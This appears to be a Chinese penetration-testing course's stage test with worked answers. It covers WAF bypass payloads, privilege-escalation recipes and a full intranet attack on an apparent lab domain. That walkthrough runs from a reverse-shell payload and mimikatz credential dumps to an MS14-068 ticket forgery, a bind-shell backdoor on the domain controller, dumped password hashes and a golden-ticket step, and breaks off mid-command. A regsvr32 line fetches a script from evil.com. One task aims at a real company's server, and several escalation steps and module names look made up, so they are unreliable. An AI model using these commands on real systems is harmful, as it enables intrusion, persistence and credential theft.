阶段测试
1、尝试获取千锋官网服务器真实IP
2、尝试使用sqlilab靶场任意一关写入一句话木马链接
3、绕过安全狗演示文件上传,sql注入,xss漏洞
文件上传绕过方式:垃圾数据绕过,数据包溢出绕过等等
SQL注入绕过:内联注释/*! */
id=-1' /*!11445or*/ 1=1 %23
xss绕过方式:<img src=x onerror=prompt(/img/)>
4、使用文件包含漏洞配合图片马获取服务器shell
可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell
5、演示redis未授权漏洞
redis未授权实际上就是redis刚安装好的时候不需要密码直接监听端口就可以,
6、使用shiro反序列化漏洞获取服务器webshell
7、配合扫描器与手工渗透,为testfire.net网站编写渗透测试报告
https://www.cnblogs.com/TessCat/p/18089628
8、演示Windows与Linux的提权
提权从目的可分为纵向提权与横向提权:
纵向提权:低权限角色获得高权限角色的权限。(最常见的)
横向提权:获取同级别角色的权限。(根据实际的需求)
Windows提权方法
SeImpersonatePrivilege提权
1.执行whoami /priv命令,查看当前用户是否拥有SeImpersonatePrivilege权限。
2.如果拥有权限,使用Impersonate-User脚本提权。该脚本会创建一个新的进程,并使用当前用户的权限执行该进程。
3.如果没有该权限,使用PowerUp脚本,该脚本会检测系统中是否存在可利用的漏洞,并提供相应的利用方法。
DLL劫持提权
1.找到可劫持的DLL文件,如“user32.dll”。
2.创建恶意DLL文件,并将其重命名为“user32.dll”。
3.将恶意DLL文件放置在系统目录下,等待用户或系统调用“user32.dll”时,恶意DLL文件会被加载,从而可以获得系统权限。
Token提权
1.执行whoami /groups命令,查看当前用户所属的组。
2.利用PsExec工具,执行命令psexec -i -d -s cmd.exe,可以获得一个System权限的命令行窗口。
3.在命令行窗口中执行whoami /groups命令,可以看到当前用户已经拥有System权限的token。
Schtasks提权
1.使用schtasks /query命令查看当前系统中的计划任务。
2.找到一个可利用的计划任务,如“System Restore Checkpoint”任务。
3.利用Metasploit框架中的exploit/windows/local/schtasks模块,可修改该任务的参数,从而获得系统权限。
Windows Installer提权
1.执行msiexec /i命令,安装一个恶意的MSI文件。
2.在安装过程中,会自动创建一个System权限的进程。
3.利用该进程,可以执行任意的命令,从而获得系统权限。
服务提权
1.使用sc或net start命令查看当前正在运行的服务。
2.找到一个可利用的服务,如“Print Spooler”服务。
3.利用Metasploit框架中的exploit/windows/local/service_permissions模块,可提升该服务的权限,从而获得系统权限。
Windows Subsystem for Linux提权
1.Windows系统中安装Windows Subsystem for Linux(WSL)。
2.在WSL中安装Metasploit框架。
3.利用Metasploit框架中的exploit/linux/local/sudo模块,可提升当前用户的权限,从而获得系统权限。
利用COM提权
1.执行regsvr32 /s /u /i:https://evil.com/evil.sct scrobj.dll命令,注入一个恶意的COM脚本。
2.注入成功后,会自动执行该脚本,并创建一个System权限的进程。
3.利用该进程,可以执行任意的命令,从而获得系统权限。
Kernel提权
1.执行systeminfo命令,查看当前系统的信息。
2.找到一个可利用的漏洞,如CVE-2019-1458漏洞。
3.利用Metasploit框架中的exploit/windows/local/kernel模块,可利用该漏洞提升当前用户的权限,从而获得系统权限。
Windows Management Instrumentation提权
1.执行wmic service list brief命令,查看当前正在运行的服务。
2.找到一个可利用的服务,如“Winmgmt”服务。
3.利用Metasploit框架中的exploit/windows/local/wmi模块,可提升该服务的权限,从而获得系统权限。
Linux提权方法
SUID提权
1.查找具有SUID权限的文件:find / -perm -4000 -type f 2>/dev/null
2.查看这些文件是否有漏洞:strings /usr/bin/sudo | grep "^"、strings /usr/bin/passwd | grep "^"
3.找到一个有漏洞的文件,利用漏洞获取root权限
内核提权
1.查看内核版本:uname -a
2.查找内核漏洞:searchsploit Linux Kernel <version> | grep -i "privilege escalation"
3.找到一个有漏洞的内核,利用漏洞获取root权限。
/etc/passwd提权
1.在/etc/passwd中添加一个新用户:echo "hacker::0:0:hacker:/root:/bin/bash" >> /etc/passwd
2.切换到新用户:su hacker
3.获取root权限:sudo su
LD_PRELOAD提权
1.编写一个恶意的共享库:cat > rootkit.c << EOF、gcc -shared -o rootkit.so rootkit.c
2.设置LD_PRELOAD环境变量:export LD_PRELOAD=/path/to/rootkit.so
3.运行一个程序,就能够以root权限运行:sudo /usr/bin/vim
/etc/sudoers提权
1.查看是否存在可利用的sudoers文件:cat /etc/sudoers、cat /etc/sudoers.d/*
2.如果存在可利用的sudoers文件,就可以添加一条提权规则:echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
3.切换到hacker用户,就能够以root权限运行:sudo su
枚举系统提权
1.查找系统中的敏感文件:find / -name *.txt -o -name *.log -o -name *.conf -o -name *.sh
2.查看这些文件是否有漏洞,是否包含root密码等信息。
3.利用这些信息获取root权限。
系统服务提权
1.查看正在运行的系统服务:ps aux | grep root
2.查找这些服务是否有漏洞:searchsploit <service> | grep -i "privilege escalation"
3.找到一个有漏洞的服务,利用漏洞获取root权限。
/etc/shadow提权
1.查看/etc/shadow文件是否有漏洞:cat /etc/shadow
2.如果存在可利用的漏洞,就可以利用漏洞获取root权限。
suidperl提权
1.查找系统中是否安装suidperl:find / -name suidperl 2>/dev/null
2.如果存在suidperl,可利用漏洞获取root权限:suidperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
9、回答面试题什么是反序列化漏洞
反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize ()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval ()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作
10、演示所有自己掌握的内网渗透的手段
信息收集
端口扫描
使用工具masscan,nmap,goby
masscan -p- 192.168.234.0/24 --rate==10000
nmap -p- -sC -A 192.168.234.26 -oA webhack123-p
网站信息收集
whatweb http://www.webhack123.com/
gobuster dir -u http://www.webhack123.com/ -w /usr/share/wordlists/dirb/big.txt -t 50
svn信息泄露
漏洞利用 entries
在 ThinkPHP_3.1.3 中 日志文件始开启的 经过 wc.db 可以知道文件目录位置
.svn 存在可以遍历文件 但是这里失败
http://www.webhack123.com/.svn/entries
http://www.webhack123.com/.svn/wc.db
编写tp_log工具
python
#coding:utf-8
import requests
url ="http://www.webhack123.com/App/Runtime/Logs"
def add_urls(patch,y):
urls=[]
for i in range(1,7):
for j in range(1,32):
if i<10:
if j<10:
urls.append(patch+"/%s_0%s_0%s.log" %(y,i,j))
else:
urls.append(patch+"/%s_0%s_%s.log" % (y,i,j))
else:
if j<10:
urls.append(patch+"/%s_%s_0%s.log" % (y,i,j))
else:
urls.append(patch+"/%s_%s_%s.log" % (y,i,j))
return urls
urls = add_urls(url,"20")
for i in urls:
req=requests.get(i)
if req.status_code==200:
print(i)
html = req.text
with open("webhack123.txt",'a',encoding='utf-8') as f:
f.write(html)
password` = 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
web123
碰撞
在 域名服务商(IDC)那里没有指定ip 本地hosts访问
在服务器做了域名绑定
这种可以修改本地hosts文件进行访问
https://github.com/fofapro/Hosts_scan 脚本与我的需求有点不合适小修改了一下自动导入 top3K 子域名进行穷举碰撞 IP 修改后的脚本
!/usr/bin/python
python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#Author:R3start
#这是一个用于IP和域名碰撞匹配访问的小工具
import requests
import re
lists=[]
files = open('hosts_ok.txt','w+')
#读取IP地址
print("====================================开 始 匹 配====================================")
for iplist in open("ip.txt"):
ip = iplist.strip('\n')
#读取host地址
#http_s = ['http://','https://']
http_s = ['http://']
for h in http_s :
for d in open("subdomains_1000.txt",'r'):#moonsec
d=d.strip('\n')
for hostlist in open("host.txt",'r'):
host = hostlist.strip('\n')
headers = {'Host':host,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}
try:
r = requests.session()
requests.packages.urllib3.disable_warnings()
rhost = r.get(h + ip,verify=False,headers=headers,timeout=5)
rhost.encoding='utf-8'
title = re.search('<title>(.*)</title>', rhost.text).group(1) #获取标题
info = '%s -- %s 协议:%s 数据包大小:%d 标题:%s' % (ip,host,h,len(rhost.text),title)
lists.append(info)
files.write(info + "\n")
print(info)
except Exception :
error = ip + " --- " + host + " --- 访问失败!~"
print(error)
print("====================================匹 配 成 功 的 列 表====================================")
for i in lists:
print(i)
phpstudy 套件是默认是管理员权限的直接上传执行 exe 就是高权限了
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.234.4 lport=12345 -f exe >s.exe
msfconsole
use exploit/multi/hander
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.234.4
set lport 12345
run
查看权限getuid
ps查看进程
migrate 468 迁移到系统进程里
mimikatz 哈希明文获取
load mimikatz/kiwi
creds_tspkg
Username Domain Password
Administrator WEB !@#Qwe456
看一下
arp
端口 netstat
看到是和10.10.10.149有连接的
现在确定一下是否在域里面
shell
ipconfig /all
解决乱码用chcp 65001
hostname查看主机名
域控上面都要配置dns
10.10.10.149 这个ip上 可能是域控
域内信息收集
域控信息收集
net time /domain
net time /domain:hackbox
工作组信息收集
net group /domain
获取登录过的用户信息、
run post/windows/gather/enum_logged_on_users
SID Profile Path
S-1-5-18 C:\Windows\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX
添加路由渗透域控
background
use auxiliary/server/socks_proxy
run autoroute -s 10.10.10.0/24
通过代理扫描域控
proxychains4 nmap -sT -Pn 10.10.10.149
永恒之蓝直接打
没成功
ms14-068 的条件
使用这个 exp 需要一个普通域控用户 web 是域用户 但是不知道密码
域普通用户 创建票据 注入票据 获得访问权限 域超级管理员权限
web 主机名 用户名web
有时候web 系统管理员 密码都一样
开启远程桌面
run post/windows/manage/enable_rdp
rdesktop 192.168.234.27
使用工具创建票据
MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456
TGT_web@hackbox.com.ccache
在 metasploit mimikatz 好似没有这个功能
上传mimikatz 注入票据
upload /root/Desktop/mimikatz-master/x64/mimidrv.sys C:/phpstudy_pro/WWW/www.webhack123.com/
upload /root/Desktop/mimikatz-master/x64/mimikatz.exe C:/phpstudy_pro/WWW/www.webhack123.com/
upload /root/Desktop/mimikatz-master/x64/mimilib.dll C:/phpstudy_pro/WWW/www.webhack123.com/
shell
mimikatz.exe 使用工具
kerberos::purge 清除票据
kerberos::list 查看票据
kerberos::ptc TGT_web@hackbox.com.ccache 插入票据
访问域控dir \dc\c$
生成正向马
只要dc能运行这个 d.exe metasploit 就可以正向链接到 meterpreter
msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe >pwd
/d.exe
copy 复制到域控
copy d.exe \dc\c$\
at 执行任务运行 exe
net time \dc
at \dc 这里是执行时间 c:/d.exe
获取域控权限命令
复制文件到目标
copy bind.exe \dc\C$
查询 dc 时间
net time \dc
增加任务执行
at \dc 这里是执行时间 c:/d.exe
连接域控
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.149
set lport 13777
exploit
获取 dc 域控哈希明文
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ef9b0225de3ab24be9e2d97f59b3018f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98:::
web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:3562c74e346b3e8509381ff675d37b90:::
WEB$:1104:aad3b435b51404eeaad3b435b51404ee:665f9f359183133251a3eb49c44d2b21:::
run post/windows/gather/smart_hashdump
[] Running module against DC
[] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[] /root/.msf4/loot/20240107063931_default_10.10.10.149_windows.hashes_844967.txt
[+] Host is a Domain Controller
[] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:ef9b0225de3ab24be9e2d97f59b3018f
[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
[+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074
[+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:3562c74e346b3e8509381ff675d37b90
[+] WEB$:1104:aad3b435b51404eeaad3b435b51404ee:665f9f359183133251a3eb49c44d2b21
meterpreter > load mimikatz
creds_tspkg
[+] Running as SYSTEM
[*] Retrieving tspkg credentials
tspkg credentials
Username Domain Password
Administrator HACKBOX !@As123
dcsync_ntlm krbtgt
[!] Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)
[+] Account : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502
制作黄金票据
考虑长期权维护,还是做一个黄金票据比较保险。
获取 ntml sid rid
wmic useraccount where name="krbtgt" get sid
dcsync_ntlm krbtgt
golden_ticket_create -d hackbox.com -u moonsec -s